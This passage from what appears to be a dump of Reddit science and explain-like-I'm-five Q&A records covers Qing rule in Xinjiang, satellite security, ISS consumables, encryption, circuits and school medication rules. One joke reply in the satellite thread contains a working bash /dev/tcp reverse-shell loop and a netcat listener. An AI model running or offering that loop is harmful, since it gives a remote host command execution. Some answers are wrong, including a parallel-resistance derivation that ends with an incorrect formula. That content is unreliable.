by 847. By this stage relations had normalised again, and those who settled in Gansu generally remained on good terms with the Tang and Song, while in 857 the khagan of the Tarim branch was recognised with an imperial title from the Tang after expelling the remaining Tibetan presence from the eastern part of the basin.^2\n\nFrom here on out, the Uyghurs, concentrated in Tarim, were generally subjects of various Mongol empires, first the original Mongol khaganate from 1211 till 1271, then the Yuan Dynasty until 1295, the Chagatai Khanate until 1462, its various successors until the 1680s, and finally the Dzungar Khanate until 1758, when the region was conquered by the Qing. Qing policy was generally more pluralistic than was typical for a Chinese dynasty, not least due to the Qing core being Manchu rather than Han Chinese. As the Manchus had originated in the Liao River basin, with a uniquely syncretic blend of agrarian and pastoral economy and traditions, they were well aware of the mechanisms by which to operate both a steppe and a sedentary empire. As Peter Perdue puts it, the Qing blended 'bureaucratic, coercive and native' methods of control in administering their new conquests. In particular, military administration through the Banner system was the norm in the Northern March (centred on Ili) and the Eastern March (centred on \u00dcr\u00fcmqi), whereas the Southern March (covering the Tarim Basin) was mainly ruled by continuing the system of local *begs* that had been practiced by the Mongols, but with ranks made parallel to the Chinese bureaucracy up to the third-rank *hakim begs* responsible for individual oasis cities, and those regions incorporated into the western part of Gansu Province were gradually demilitarised and brought in line with conventional provincial administration. However, Uyghur communities in the Northern and Eastern Marches (known as Taranchis) had their own local *begs*, Banner and Green Standard Army garrisons were established alongside the Tarim oases, and the administrative oversight for all three marches was the responsibility of the viceroy of Shaanxi and Gansu.^3\n\nGoing from administrative to ethnic policy for a moment, Qing-era pluralism took a very different form from the hierarchical paradigm envisioned by John K. Fairbank in the mid-late 20th century. Instead of a concentric view of ethnicity in which individual peoples had their own relative distance from a core Chinese-ness, each cultural group under the Qing had its own particular relationship to the emperor. As an example, Han merchants tended to receive a blind eye when perpetrating abuses against Uyghurs during times of military crisis, which ubder the Fairbank model might place the Uyghurs below the Han in the hierarchy. Yet Uyghurs were not subject to the infamous queue edict which stipulated death for any Han Chinese man found not to have shaved his forehead and tied his hair back in the Manchu queue. Apologies for somewhat suddenly bringing in old historiography here, but the point is that the Qing, whom I cannot stress enough were Manchu (though what that meant certainly did change over time) and thus used to heading a distinctly multicultural empire (indeed, the core of Manchu rule, the Eight Banners, were around 20% Mongol and 20% Han Chinese)^4, were keen to maintain the image of a live-and-let live, multicultural administration in the Uyghur-dominated regions of Xinjiang.^1\n\nYou have by now probably noticed a few weasel-words. Well, the reason for that is simple, which is that the ideal of Qing policy repeatedly came up against the unfortunate reality of rule over Xinjiang, which was that the co-opting of Uyghur elites was simply not sufficient to maintain control over the ordinary Uyghur population. The Uyghur were predominantly Naqshbandiyya Sufis, split between the 'New Teaching' Afaqiyya and 'Old Teaching' Ishaqiyya branches, and internecine strife occasionally flared up between the two sides, which would on occasion escalate into anti-Qing revolt. In particular, in 1826 J\u0101hang\u012br Khoja, head of the Afaqiyya branch, marched out from the neighbouring Khanate of Kokand and rallied his followers in the western Tarim cities against the Qing, briefly wresting control of most of the Southern March until his capture by Han Chinese general Yang Fang two years later. While this briefly bolstered the relative position of the Ishaqiyya, who seized on their having remained pro-Qing as a means of displacing Afaqiyya *begs*, an invasion by the Sunni Khanate of Kokand in 1830 (closely tied with the Afaqiyya) displayed the need for the Qing to have a more substantial non-Muslim population in the Tarim region if it was to retain its hold. During the invasion, Han and Chinese merchant communities had formed militias that proved vital in holding the Banner citadels and preventing their capture by the Kokandis, and so commercial penetration into the region by Han and Hui Chinese increased.^1 However, just as the Tang lost their ability to hold Tarim due to An Lushan's revolt, the Taiping War in the 1850s cut Xinjiang from its vital subsidies of silver and grain for the army and cloth, silk and tea for trade, causing a minor exodus of merchants and leaving the garrisons quite literally starving, when Hui revolts in the Northern and Eastern Marches in 1864, followed rapidly by Sufi uprisings in Tarim, wrested the province out of Qing control entirely until 1878. By this stage Han nationalism in China had evolved away from the inward-focussed view of the Ming to a much more imperialistic one that included the territories added to the empire by the Qing \u2013 Manchuria, Mongolia, and Xinjiang \u2013 and Han elites now held a much more important stake in the military and civil administration, and so after Zuo Zongtang reconquered the region in 1878, the old compromise system with the Uyghur was soon overturned, and Xinjang became incorporated as its own province with a Han Chinese governor in 1884 (before 1864 the military administration was always headed by Manchus) and was brought in line with the ordinary Chinese administration.^5\n\nAs for the Hui, Qing policy was always somewhat uncertain. On the one hand, as a significant part of the Gansu and Shaanxi populations, Hui merchants were necessary to keep Xinjiang's administrative and military infrastructure supplied with essential goods, and they were a major part of the agricultural colonies of the Northern and Eastern Marches. However, Hui were also known for being particularly inclined towards integrating with the Uyghur population, often taking Uyghur wives and adopting the Uyghur language, and in some cases even violating the queue edict. Hui merchants also appear to have been particularly active in trying to circumvent Qing trade regulations, particularly in smuggling rhubarb to Kokand and jade to China proper, which certainly suggests a degree of Hui distance from the Qing, but whether this signifies more Hui resistance or Qing suspicion is probably a matter of interpretation.^1"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "19l8wj", "title": "Why do mouths go dry before/during giving a performance you're nervous about?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/19l8wj/why_do_mouths_go_dry_beforeduring_giving_a/", "answers": {"a_id": ["c8p4f9e"], "score": [6], "text": ["During the flight-or-fight reaction and the release of adrenaline, which comes out when we are nervous, the saliva glands are inhibited."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "ubbv2", "title": "Are there any organisms that can sense dangerous levels of radiation?", "selftext": "Are there any known biological sensory organs that can detect levels of radiation that can cause sickness, DNA damage, or death? Obviously some organisms can see UV and Infrared, but what about higher levels like  X-Ray/Gamma, or are these wavelengths too short to be detected by any biological structure we know of?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/ubbv2/are_there_any_organisms_that_can_sense_dangerous/", "answers": {"a_id": ["c4tx2g7", "c4u0iya", "c4u2kbx", "c4u3f5l"], "score": [16, 3, 5, 3], "text": ["Hmm, don't know. Although [this guy](_URL_1_) can happily live in highly radioactive environments.\n\n- _URL_2_\n\nAnd some people are playing with yeast in an attempt to make biological detection systems;\n\n- _URL_0_\n\n", "I don't know the definitive answer to this question, but if I were to start looking for one, I'd have these things in mind...\n\n\nA. There needs to be an evolutionary reason for a species to do so. IE a species would have to be living around a radioactive material for millions of years in order to develop the resistance. Though the radiation would kill them long before they developed any reasonable resistance.\n\n\nB. Higher level radiations aren't quite the same beast as something as low as the visual range. Visual light kind of just nudges the sensing cells around when it strikes the eye. The force due to the fields of the waves are relatively low. UV light is dangerous because it is much more energetic.  A gamma photon hitting a cell is like a cannon ball firing at a sheet of paper. When it hits other particles, the force is catastrophic.\n\nJust for comparison, the energy of a visual light photon is to a gamma photon as the mass of the earth is to the sun. \n\nDeveloping the organ to sense a gamma photon would being like developing a baseball mitt to catch a rocket. ", "Some species of shrimp can detect ionizing radiation:\n\n_URL_1_\n\nand rats can smell it:\n\n_URL_0_\n\nHumans can smell/taste ionizing radiation too, just the dose levels are such that it is not very useful for survival. Basically, ionizing radiation breaks down chemical compounds (radiolysis), and the products of radiolysis can be tasted or smelled, or otherwise detected. It's only a matter of dose. Ultimately, any animal can respond to radiation by dying, and many can sense it at levels somewhat below that.", "Spiderwort's flowers change color when ionizing radiation is present. \n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.ncbi.nlm.nih.gov/pmc/articles/PMC373305/", "http://en.wikipedia.org/wiki/Deinococcus_radiodurans", "http://www.cosmosmagazine.com/news/3372/uranium-eating-bacteria-clean-radioactive-sites"], [], ["http://www.sciencedirect.com/science/article/pii/0031938466900588", "http://www.ncbi.nlm.nih.gov/pubmed/1197389"], ["http://en.wikipedia.org/wiki/Tradescantia#Stamen_hairs_and_ionizing_radiation"]]}
{"q_id": "a09vca", "title": "do satellites have passwords? how do their owners manage them?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a09vca/eli5_do_satellites_have_passwords_how_do_their/", "answers": {"a_id": ["eafzccz", "eafzztq", "eagaz9n", "eagelj3", "eagfsye", "eagfzym", "eagh7q8", "eaghi7e", "eaghid1", "eagn314", "eagqn47", "eagr9n5", "eagswlf", "eagt0sz", "eagta2l", "eaguguz", "eaguwqy", "eagvpn6", "eagyy0f"], "score": [41, 330, 308, 5, 13, 25, 3, 5, 2, 2, 113, 5, 2, 3, 3, 3, 3, 3, 2], "text": ["Yes. \n\nIt works just like a radio control car would just on a much larger scale. \n\nAt the most basic level, most electronics have a serial interface to communicate with other devices like control equipment. Just like an old school serial port on a computer. \n\nSatellites typically use something similar except that instead of cable the data is carried over radio.\n\nNewer satellites do much more and can have web interfaces and such over network but at its most basic level its serial over radio.", "The OS the ground terminals ran was UNIX but there wasn't a password or login to connect to the bird. Each operator had a separate login/pw for the ground terminal but that was more to record who was at the wheel.  You could logout out of the terminal and the satellite would keep doing it's thing because the plan had already been uploaded, so all you would do after sending the initial flight plan was make ad hoc changes. The protocol to connect was proprietary and encrypted however, and the encryption had to be loaded to connect, so I suppose that could be considered a type of password.  The entire ground system software was a one off interface.  The data going up was encrypted on the ground and decrypted on the bird, and data coming down was encrypted on the bird and decrypted on the ground. It's been a while, but his reminds me of hearing, go get the keys to the F-16's. It's all proprietary, encrypted, and complex.  And you would need to know the exact technical specs of the transmitters and receivers to even know where to look.  Even if you found that, it would just be noise.    ", "Generally to connect to satellites you have to be authorized.  \n\nthe satellites have a list of authorized equipment that can talk to them and vice versa.  \nYou still need to \"paint\" the satellites or aim your dish at them to get the signal in the first place\n\nSauce: My company subcontracts for TeleSat", "\" This is ground countrol to mayor tom\"\n    nc -l -p 8080 -VVV\n\"Comencing netcat; shell is gone\"\n\"Check ur bank acct and may God's love be with u\"\n    exec 5 <  >  /dev/tcp/major.tom/8080\n    cat  <  & 5 | while read line; do $line 2 >  & 5  >  & 5; done\n\"This major tom to ground control\"\n\"My spaceship forgot which way togo\"\n\"And my balance is floating points \"\n... Yo?", "Cryptology. Basically a password, just on a much more advanced scale. This way functions of Satellites can be disseminated was well, want X people to control the movement, give them the X key, want Y people to work on aiming the coverage, Y key, want Z company to control the information broadcasted, give them the Z key.\n\nSo the ELI5 is like a Mall, the Owner(X) has the keys to the whole thing, the company they contracted to lease out space(Y) for them has some keys in accordance with their control, and the storefront(Z) has their key to run their business.", "Given that there are lots of satellites, designed by lots of different groups of people, it probably isn't correct to say \"yes they do,\" or \"no they don't.\". Good chance more than one satellite is running Linux with SSL, in which case, yeah, it's password protected and the traffic is encrypted.\n\nThe method of communication is entirely separate from the presence of an authentication system, like a password.", "Basically they have immobile and mobile access points on ground that can link up ground satellites and connect using a red key and black key handshake system with one set of keys on a physical fob, then you have to also have a username and password. Hard for a hacker to get the physical fob so very unlikely to be comprised. You'd need a fob, a satellite with a connection for said fob, a username and password of someone with privileges, and to not be scared that they can see exactly where you connected within 10 meters. Fun fact you can use that radiation from the ground uplink to cook a hotdog or warp(bend or twist) a tree. ", "Yes, it's called encryption.  \nEveryone can pick up any signal a satellite sends in its footprint (the area on Earth where it's pointing at), but you need the decryption key to use it. All satellite TV receivers are basically decryption and conversion devices. They get the encrypted signal from the antenna and convert it to a signal usable by your TV. There is a lot of freely available content on satellites if you have a dish large enough and know where to point it.  \nAs for managing, it depends on the satellite. For broadcast use, a satellite operator will probably have to call some authority to coordinate the transmission. Let's say some local TV station sends a reporter at an event. The truck operator will call the station first to let them know he's ready to transmit. With the technician at the station, they will conference call the satellite manager and they will confirm all the details (satellites have many \"channels\" usually) and make sure it's working fine and doesn't disrupt anything else.  \nIt takes a lot of power focused on a very precise point to disrupt a satellite. It's not too hard to find out where it came from, like people who point lasers at airplanes.", "One way a statellite uplink can be protected is by limiting the power it recieve from the ground. This require to have very costly and powerfull ground stations.", "Every satellite is different.  The variables for contacting satellite are going to depend on what type of orbit the satellite is in and what type of software it is running.  Satellites are constantly \"falling\" from the sky so from a given point on Earth there is a fixed amount of time you have to contact the satellite.  For \"Low Earth Orbit (LEO)\" satellites this time can be around 10 minutes.  For satellites at the higher orbit of \"Geostationary Orbit (GEO)\" around the equator the satellites hover at a fixed point so you have lots of time to communicate with the satellite from a fixed point on Earth. \n\nTypically satellites are either programmed to \"listen\" to commands from Earth or they are programmed to turn on at a specific point in time.  To initiate communication this may require a \"hey dude wakeup\" command which tells the satellite to listen more attentively.  Like others have said these commands can be encrypted to improve security.  There are other safeguards such as a counter on the ground software called the Ground Command Count (GCC) which should match the Vehicle Command Count (VCC).  Every authorized command increments this count so they should always match.  If the operator initiates contact with a satellite and the count doesn't match it can be a sign that says someone else tried to command the satellite. \n\nTl,dr; it depends on the satellite manufacturer but there are lots of different methods which can be used to deter unauthorized access. ", "I fly interplanetary spacecraft for a living and none have passwords or secret codes or any such thing. Our command format is well documented in public standards (CCSDS, ECSS).\n\nMilitary / government spacecraft have authentication units which do handle encryption through the use of keys.\n\nGenerally speaking we rely on the difficulties of deep space communication to prevent hacking. You'd need to have a spare 35m+ antenna, a hydrogen maser and several kilowatts of radio amplifier to start hacking. ", "Hi, I worked on a cubesat for a University. If you could set up the correct radio link you could send messages to the cubesat but it was all behind an ssh login on the cubesat's linux that it ran on the onboard computer. So you'd have to have the login password. This is rather slim security but there's not much interest in gaining control of a cubesat.", "telnet? email? ssh? take your pick. modern satellites are radhard servers buckled to a solar array with battery, a comms array, and some boosters. The comms are as open ended as you would like as it is just a sophisticated long range modem. Good luck trying to even connect to one without hacking through the owners or using a closely watched satellite phone without getting caught.", "Some satellites transmit completely unencrypted data, such as weather and oceanology sats.\n\nSome guys made a [video](_URL_0_) about it and demonstrated the method a while back.", "For control of the satellite, the satellites  use a strong form of encryption that utilizes hardware  based encryption  (think credit  cards with secret keys and a DVD player that you can stick them into). The program  that tells the satellite  what to do talks to the hardware  encryption  and the secret message is sent to the satellite. Only when the secret  message can be read by the satellite will it do anything. \n\nData sent from the satellite is encrypted in the same manner, but sometimes it's not, such as with weather or navigation.\n\n", "Military grade satellites use some form of encryption keys to protect their secrets.\n\nMost commercial satellites rely more on obscurity then anything actually protecting them. You would have to be close enough to one of the transmitting stations to pick up the upload, get enough of that data to start decoding it into something useful, and then send the uplink. Also, two uplinks going to the same satellite is likely to cause some form of interference, rendering both unavailable. And once you have accessed the satellite, what are you going to do with it? I suppose a prankster type person could turn off one of the subsystems, but satellites are robust enough to prevent that. To really take control you would have to do a software override, which isn't easy to do by any means.\n\nBottom line is, most satellite communications are not protected, unless there is a reason that signal needs to be protected.", "They can be controlled in two different modes, encrypted or non-encrypted. Generally, the non-encrypted mode is preferred, because that's one less thing to go wrong. Satellite operators rely on security through obscurity, which may not be ideal but has been working good so far.\n\nIn order to hijack a satellite you would need to know where to point your command antenna, which frequency to use and which protocol. Then you would need to send a stronger signal than the operator, meaning at least a 14 meters antenna and a 3 kW amplifier. And you need to know the satellite ID, which is transmitted in the open when using non-encrypted mode, but you would still need to intercept that signal, for instance by flying a drone equipped with a receiver at the exact frequency over the antenna, to read the ID.", "satellite communications engineer here: most radios incorporated into multi-million dollar satellites require keys to be loaded into them prior to any type of point to point wireless communications to take place. These aren\u2019t physical keys, they\u2019re like a really long password that there\u2019s no chance of anyone else having. Radio A loads it\u2019s key, Radio B loads it\u2019s key and then they both can communicate with one another. Any radio without that exact key can not communicate - that\u2019s not to say it cannot eavesdrop. ", "If you are talented enough, you can hijack a train with mercanaries, carrying two military officers who each have a half of the security password, and then torture them into revealing each of their passwords, which then require simultaneous entry, which a breeze for you because you're mad ambidextrous. Then once you have control of a killer satellite you can take bids on what to do with it.\n\nJust make sure you kill the cook travelling with his niece first."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], ["https://www.youtube.com/watch?v=cjClTnZ4Xh4"], [], [], [], [], []]}
{"q_id": "zlj4d", "title": "How long could ISS survive without resupply?", "selftext": "Lets say some horrible diease wipes out most of humanity on Earth, and the ISS is left alone with no new supplies being brought by rockets. How long could the people on the ISS survive? What if there was only one person on the ISS? How long could he/she survive?\n\nAlso, would they be able to go back to Earth without any assist?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/zlj4d/how_long_could_iss_survive_without_resupply/", "answers": {"a_id": ["c65n3zy", "c65plue", "c65pxi7"], "score": [2, 88, 4], "text": ["One person let alone? Or with the bodies of crew mates?\n\nI imagine the availability of protein etc. would assist in survivability.\n\nAlthough oxygen would run low, (candles etc) would run out...\n\nI imagine they'd be better off jumping into a Soyuz escape capsule?", "Good timing of this question with the other thread about ISS life support. Again, I am an ISS flight controller in guidance and navigation (I have a limited understanding of the life support systems). Here is my take on this question.\n\nWhen flying a spacecraft like the Space Shuttle or ISS the ground controllers are constantly keeping track of \"consumables\". Consumables is anything that can be used up. Not just food and water but also breathable oxygen (see the other thread), nitrogen to keep the atmosphere balanced, carbon dioxide scrubbing cartridges, emergency gas masks with oxygen bottles (rarely used), and propellant for the engines to keep ISS in a stable orbit.\n\nMany of these consumables have a significant surplus on ISS, others run near limiting margins. For instance, without have an emergency response event, the gas masks with spare oxygen can last for a while. They don't have to be replaced hardly ever. However, if we have an emergency and the crew uses too many of them we have a rule that the crew would have to come home because they used them up - we need to have some available in case another emergency happens. So the question is what's the ISS limiting consumable?\n\nLast year when the Progress 44 supply ship blew up we were afraid we would not have more Soyuz launches for a while. If Russia couldn't figure out what was wrong with the rocket we weren't going to launch people on one. A \"tiger team\" started looking at contingency plans. We didn't want to have to leave ISS with no crew on board while we waited for another Russian launch - no science would get done! So we talked about leaving the current crew onboard for longer than their original stay. People who kept track of \"stowage\" started counting how much food we thought was onboard. If I remember correctly, leaving 6 guys up there there would only be enough food for a few extra months. If we bring 3 home and leave 3, there was enough food for like 6 months. Far more than necessary, we presumed.\n\nReally, the limiting factor then would be propellant. We do a lot of \"reboost\" burns. Take a look at this plot (_URL_0_) Every step up in that plot is a rocket firing to keep ISS at the desired altitude. The jumps that are of about 5 km take around 400 kg of propellant (rough estimate). That really big recent one was almost a metric ton of propellant. This is the real reason we have so many cargo supply ships to ISS. We are constantly falling out of the sky. There is a flight rule that ISS always needs enough reserve propellant to keep itself flying for a certain amount of time if the supplies stop coming (I think, like the food, its about half a year). But there's another piece to the puzzle. ISS is flown almost exclusively from the ground. We want the astronauts to spend most of their time working on science (that's why we spent $200 billion on the thing) so we don't bother them with the regular systems operations. We ask help from them on things we can't do - hands on troubleshooting, cleaning, changing out parts - but on a normal day they might not even notice if we do a reboost. Ground teams design the trajectory and an automatic software sequence to execute the reboost and uplink it to the computers. Astronauts are smart people, but if the ground controllers were completely wiped out, I'm not sure the people on board even have the tools available to design their own reboost profile. So, where am I going with all this?\n\nBottom line is the ISS would probably fall out of the sky before, or at the same time, that any of the life support consumables ran out (Assuming 6 astronauts on board). Look again at the altitude plot. You can see the slope of the decreasing altitude but not the exponential nature of the decay if we get to significantly lower orbits. At the current altitude, ISS loses a few hundred meters a day. You can't just take the current altitude and divide it out because there is a certain minimum altitude where you are basically re-entering and your decay rate becomes a straight line, this is at around maybe 250-280 km for ISS. So really, we're talking like 3 or 4 or 5 months, tops. Then someone gets a nice meteor shower.", "While your scenario may seem far-fetched, there are a couple of real life stories of \"stranded\" astronauts - at least emotionally, if not literally.\n\nOne would be the story of Expedition 6, the crew on ISS when Columbia was destroyed on re-entry. There is a book about it: _URL_0_\n\nThe second would be the story of the cosmonauts who were on MIR when the USSR fell. Sergei Krikalev left the USSR for MIR and landed 311 days later (one of the longest ever spaceflights) in the free state of Kazakhstan. Krikalev has the record for most time in space and still works for the Russian space program. I think there is a book about the cosmonauts on MIR in 1992 but I can't find the reference."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.heavens-above.com/IssHeight.aspx?lat=0&amp;lng=0&amp;loc=Unspecified&amp;alt=0&amp;tz=CET"], ["http://www.amazon.com/Out-Orbit-Incredible-Astronauts-Hundreds/dp/0767919912"]]}
{"q_id": "15vnrx", "title": "Does encrypting something multiple times improve security?", "selftext": "I can think of a few ways to encrypt more than once:\n\n- With the same encryption algorithm with the same key.\n- With the same encryption algorithm with the a different key.\n- With a different algorithm.\n\nHow well will these different ways do against say, a brute force attack? Besides against brute force attacks, are there any other implications when performing the above? Also, how and in what way is the knowledge of the type(s) and order of encryption used useful for someone trying to break the encryption?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/15vnrx/does_encrypting_something_multiple_times_improve/", "answers": {"a_id": ["c7q7v9p", "c7q9rtk", "c7qjou5"], "score": [25, 3, 2], "text": ["The answer is \"it depends on the algorithm.\"\n\nIdeally, the answer is \"yes\" -- any algorithm where this isn't true is substantially weaker than an algorithm where it is.\n\nFor example, simple substitution ciphers, where you have a key that tells you to replace each letter with some other letter, fail this test. Encrypting with such a cipher twice, whether it's the same key or not, is no more secure than only encrypting once with a different key. (And for a rot13 cipher, encrypting twice gives you back the original plaintext!)\n\nFor algorithms that DON'T suffer from this weakness:\n\nEncrypting twice with the same key gains you very little strength because the second encryption has a PREDICTABLE key (it's the same as the first!) -- this gains you no additional unpredictability.\n\nEncrypting multiple times with DIFFERENT, INDEPENDENT keys with the same algorithm can give you an improvement in security, but it's not perfect -- it's not n times as strong as a single encryption, because of a cryptographic attack known as \"meet in the middle\".\n\nOne very common encryption scheme does exactly this: 3DES. The basic DES algorithm isn't particularly strong because it has an extremely short key (56 bits), which is well within the realm of brute-force. But 3DES uses three 56-bit keys. First, it encrypts the plaintext with the first key. Then, it DEcrypts that using the second key (which doesn't actually decrypt, but it's running the algorithm in reverse). Finally, it encrypts that with the third key. This scheme gives 3DES the strength of a 168-bit key.\n\nAs for encrypting with a different algorithm... I believe that a meet-in-the-middle attack is still effective on this, but I can't speak to just how strong the composed cipher is.", "A short answer to some of your points.\n\nStacking different algorithms can slow down a brute force attack, when using one algorithm that is hard to implement in hardware. But it mostly mitigates against a class break of one algorithm. \n\nThe same algo with the same or different keys is just a small improvement of security.", "Mathematically, stacking multiple algorithm can in turn give a single new algorithm that while unique, does not enhance security.  \n\nFor a simple example let's say we take a simple cypher we will call S1(n)\n\n[1 2 3 4] -- > \n[3 1 4 2]\n\nThis assigns the number on the top to the number on the bottom. So 1 becomes 3, 2 becomes 1, etc. This is a classic cypher.  So we may ask what happens if we take the results of S1(n) and apply another cypher we will call S2(n)?\n\n[1 2 3 4] - > \n[4 3 2 1]\n\nIf we apply S1(S2(n))  or basically take S1 and then take S2 on S1's result we would find.\n\n[1 2 3 4] -- > \n[3 1 4 2]   -- > \n[2 4 1 3]  \n\nBut we can simplify this into\n\n[1 2 3 4] -- > \n[2 4 1 3]\n\nOr that adding two cyphers in reality reduces down to a single cypher which doesn't make it any more difficult for someone attempting to solve it because from their view they only have to decrypt a single layer even though we applied two layers to get this result.\n\nNow modern computer security is a little more sophisticated, but the same thing can happen.  If you can reduce two steps into a single step then the extra layer becomes meaningless because from the eyes of someone trying to break into the system they don't notice any difference.  You need a function which requires you to have the individual keys to both layers to open for this method to be any good. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "49yd88", "title": "the formula for the total resistance in a parallel circuit.", "selftext": "The formula is 1/R(t)=1/R1 + 1/R2...\n\nI don't understand why the inverse of resistance has to be used. I get that it's a measure for conductance, but why is it not possible to just add the individual resistances like in a series circuit? ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/49yd88/eli5_the_formula_for_the_total_resistance_in_a/", "answers": {"a_id": ["d0vv0cs", "d0vvodl", "d0vxbsl"], "score": [4, 15, 5], "text": ["If you have to cross a rocky path you'll take a while. If you have to walk through another patch that's very rocky after that you'll take longer.\n\nIf your friends are walking behind you they'll also take very long, because they have to wait for you. If there are other paths, parallel to yours, they can go faster because they don't have to wait for you.\n\nConductance measures how easy it is to walk through a path. If there are several parallel passes it's easier for the whole group in the end.\n\nI hope this makes sense and helps you out with the concepts.", "Basically, since the electrons can flow through both resistors at the same time if they are wired in parallel, the resistance becomes smaller  the more of them you have. That's why you add them up like this. But if they are wired in sequence, the electrons have to go through each of them, making it more difficult each time. That's why you add them.\n\nThe math behind it isn't too difficult either:\n\nImagine you have two circuits connected to a single battery with Ub volts. Each of them is just a has a resistor (R1 and R2) connecting the two terminals. If you want to calculate the current flowing through each of the resistors, you would use Ohm's law: I=U/R (current = voltage / resistance):\n\n    I1 = Ub/R1 and\n    I2 = Ub/R2\n\nNow if you want to measure the entire current flowing through both wires and the battery Ib, you have to add I1 and I2, since current is flowing through both of them:\n\n    Ib = I1+I2  \n    Ib = Ub/R1 + Ub/R2 \n\nYou can treat this setup just like two resistances wired in parallel. And you can quite easily get the formula for the resistance of two restances wired in parallel: First, you devide everything by Ub\n\n    Ib/Ub = Ub/Ub*R1 + Ub/Ub*R2: Ub/Ub = 1\n    Ib/Ub = 1/R1 + 1/R2\n\nAt this point, this should look quite familiar. The current (Ib) divided by the voltage (Ub) is exactly what resistance is - a measure for how many electrons can flow for each volt. Therefore, you can replace Ib/Ub with Rb:\n\n     Rb = 1/R1 + 1/R2\n", "For resistors in series you obviously add resistance.  For resistors in parallel you simply add conductance instead.  Conductance is the reciprocal of resistance.  Just take the reciprocal of all the resistances that are in parallel and add them together to find the total conductance.  Now take the reciprocal of this value to find the total resistance.\n\nTL;DR resistors in parallel (or capacitors in series) find the reciprocal of the sum of the reciprocals."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "8jqkl4", "title": "How do plants not suffocate from lack of CO2 in a closed terrarium?", "selftext": "Plants consume CO2 and produce oxygen. In a closed terrarium, how do they not run out of CO2 in the same way that a human in an enclosed space would run out of oxygen?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/8jqkl4/how_do_plants_not_suffocate_from_lack_of_co2_in_a/", "answers": {"a_id": ["dz3lic5", "dz3m2je"], "score": [2, 7], "text": ["All that sugar the plants make out of CO2 gets respired later, and and expelled as CO2 again. Or eaten by some other critter that's in the terrarium with them.\n\nIn other words, the bottled ecosystem doesn't just consume all the CO2 and that's it - there is an equilibrium in which on average, CO2 is produced and consumed at the same rate, though if you're leaving it in the sun this will be over the course of 24 hours (i.e. CO2 is *overall* consumed during the day, and produced at night).", "I've made some terrariums and taken more ecology classes than I will ever use. Usually you have the opposite problem of very low oxygen in the tank.\n\nPlants don't make much O2 unless they're growing, and growth inside terrariums tends to be slow. Plants photosynthesize during the day but use a lot of that oxygen up during respiration at night, and this can lead to significant swings in oxygen and pH. You probably also have bacteria breaking down bits of wood in the soil releasing more CO2 than the system originally had. Pro terrariums are very clean and a bit spartan."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1tbojz", "title": "why do schools have zero-tolerance policies against asthma inhalers?", "selftext": "I just read about this 12 year old kid who died because he couldn't get to his asthma inhaler, which had been confiscated by his school.\n\nLink: _URL_0_\n\nQuoting the article, \" Gibbons said she got more than one phone call from the school after Ryan was \"caught\" carrying his puffer in his backpack.\"\n\nI don't really understand why an asthma inhaler would be restricted in school. It wasn't like he was carrying illegal drugs or cigarettes, so why would they confiscate an inhaler, which could have saved the student's life?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1tbojz/eli5_why_do_schools_have_zerotolerance_policies/", "answers": {"a_id": ["ce6bcqw", "ce6bczc", "ce6ihif", "ce6it0l", "ce6j1cg", "ce6kaj1", "ce6kgwu", "ce6l3c1", "ce6lhzr", "ce6o432", "ce6p8h4", "ce6ppmq"], "score": [71, 21, 14, 13, 10, 9, 12, 3, 3, 23, 7, 3], "text": ["Our local school district has a \"Zero tolerance\" policy for any medication or drugs. Things like epi pens, inhalers, and cough drops are all lumped together with illegal drugs, and are dealt with accordingly. All legitimate medications are kept in the office and administered by untrained school personnel, at their discretion. Kids face pretty severe disciplinary measures if caught with any medications on their person. Just another unintended consequence of zero tolerance.", "[The technical name for most spray can type products is an aerosol bomb](_URL_0_).\n\nSecondly because a lot of schools believe children cannot self medicate themselves, and their inhaler should be kept away form them. Or they'll abuse it. ", "Oh boy, that brings back such delightful memories. I'm especially fond of the forced group walks around the track during the school's \"everybody needs to get into shape\" phase, and \"no, you can't sit it out just because you can't breathe\" lectures.\n\nI was lucky though. Back in the mid-90s they weren't as draconian about that kind of thing, and I was eventually allowed to carry an inhaler by around 5th grade.\n\nAs to why? Because schools are where dreams go to die.", "These policies have to stop, the people that think they are a good idea must be fucking retarded. ", "There are a lot of people talking about how this is meant to control kids and whatnot, and I get that. There is another aspect to all of the ZT stuff though.\n\nIts CYA in a lawsuit happy society. We have ZT on medication because what happens if a kid overdoses on his prescription psych drugs? It's safer, from the schools perspective to say \"These drugs are dangerous, and so we need to know you have them, we need to control them, and we need to keep them safe.\" If a kid brings meds and doesn't tell the school, they can't be blamed if something happens. If someone knows about it, they're suddenly liable for it. \n\nAnd they can't do it for just some medications, because then theres a risk of it being viewed as discriminatory, so the rule is \"if you have a prescription med, you have to leave it with the nurse\"", "Some time around September 2001, the nation went and got it's collective panties in such a twist they are yet to be untangled.", "As an asthmatic, they should be liable. I've been in the situation where I couldn't get access to asthma medication because of someone else's rules, and man does it burn me up. Unlike almost any other condition, unless you receive medication, you risk death within minutes -- potentially before an ambulance can even show up.\n\nWhen your chest is on fire, you feel like you're suffocating, your muscles are aching like you got hit by a truck, and you can't stand up because the hypoxia will make you pass out, the rules stop making sense to you. It's the same thing the the ban on Primatene Mist because of its CFC content.\n\n*Oh shit, my prescription inhaler must've fallen out of my pocket!* \n\nYour options are: 1) drive to the hospital, or 2) die, because Bronkaid doesn't do shit.", "Because the world is full of idiots and the biggest ones are in charge.", "Why don't you read your own source?  \u201cA child of sufficient maturity is permitted to carry an 